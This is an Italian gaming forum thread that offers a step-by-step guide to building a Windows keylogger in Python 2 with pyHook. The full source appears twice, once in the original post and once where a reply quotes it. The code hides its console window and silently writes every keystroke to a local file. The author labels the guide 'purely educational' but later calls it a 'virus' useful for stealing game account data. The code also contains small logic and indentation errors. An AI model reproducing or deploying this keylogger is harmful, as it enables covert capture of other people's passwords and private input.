BorderGame
Come creare un KeyLogger - Versione stampabile

+- BorderGame (https://www.bordergame.it)
+-- Forum: Console e Tecnologia (/Forum-Console-e-Tecnologia)
+--- Forum: Hacking (/Forum-Hacking)
+--- Discussione: Come creare un KeyLogger (/Thread-Come-creare-un-KeyLogger)



Come creare un KeyLogger - doddo978 - 13-11-2011 08:08 PM

Ecco una guida a scopo puramente didattico vedremo come creare un keylogger in Python. Di seguito i passi da seguire:
Scaricate ed installate i software necessari:
Python 2.6: http://www.python.org/
Pyhook per Python 2.6: pyhook.sourceforge.net
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Dal menu di avvio selezionate Python 2.6 > PythonWin per avviare l'editor
Dal menù selezionate File > New, quindi scegliete l'opzione Python Script e date l'OK?
Incollate il seguente sorgente o in alternativa scaricate direttamente il file da
questo link!

Codice:
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
  if event.Ascii==5:
    _exit(1)
if event.Ascii != 0 or 8:
   f=open('c:\output.txt','r')
   buffer=f.read()
   f.close()
   f=open('c:\output.txt','w')
   keylogs=chr(event.Ascii)
   if event.Ascii==13:
     keylogs='/n'
   buffer += keylogs
   f.write(buffer)
   f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Salvate il file in c:\ come logger.py, quindi da PythonWin digitate CTRL+:R il keylogger verrà avviato in background e fino a quando rimarrà in esecuzione registrerà sul file C:\output.txt tutto ciò che verrà digitato sulla tastiera.

Guida by: Formattata da me ma potete trovarne simili nel web ma non uguali quindi si acettano Tongueiù:2 Big Grin


RE: Come creare un KeyLogger - Nagasci - 13-11-2011 08:19 PM

Si vede che è copiata... Le lettere accentate so scritte con un punto di domanda che di solito è cosi in alcuni forum D:


RE: Come creare un KeyLogger - doddo978 - 13-11-2011 08:44 PM

Sistemato Avevo Problemi cn la tastiera cl pc li avevo messi apposta i ?


RE: Come creare un KeyLogger - tuono bandito - 12-02-2012 03:23 PM

(13-11-2011 08:08 PM)doddo978 Ha scritto:  Ecco una guida a scopo puramente didattico vedremo come creare un keylogger in Python. Di seguito i passi da seguire:
Scaricate ed installate i software necessari:
Python 2.6: http://www.python.org/
Pyhook per Python 2.6: pyhook.sourceforge.net
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Dal menu di avvio selezionate Python 2.6 > PythonWin per avviare l'editor
Dal menù selezionate File > New, quindi scegliete l'opzione Python Script e date l'OK?
Incollate il seguente sorgente o in alternativa scaricate direttamente il file da
questo link!

Codice:
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
  if event.Ascii==5:
    _exit(1)
if event.Ascii != 0 or 8:
   f=open('c:\output.txt','r')
   buffer=f.read()
   f.close()
   f=open('c:\output.txt','w')
   keylogs=chr(event.Ascii)
   if event.Ascii==13:
     keylogs='/n'
   buffer += keylogs
   f.write(buffer)
   f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Salvate il file in c:\ come logger.py, quindi da PythonWin digitate CTRL+:R il keylogger verrà avviato in background e fino a quando rimarrà in esecuzione registrerà sul file C:\output.txt tutto ciò che verrà digitato sulla tastiera.

Guida by: Formattata da me ma potete trovarne simili nel web ma non uguali quindi si acettano Tongueiù:2 Big Grin
Scusa la mia ignoranza ma non sò cosa serva quest "key logger" ...Se me lo potresti spiegare...grazie..


RE: Come creare un KeyLogger - doddo978 - 12-02-2012 05:09 PM

Un key loger serve a registrare i tasti che vengono premuti é Un "VIRUS" molto utile x rubare dati x esempio qll di Nostale Ma Su Questo Forum è Quasi impx Truffare gente cn keyloger! anke xkè ti bannano e io sarei il primo a segnalarti xD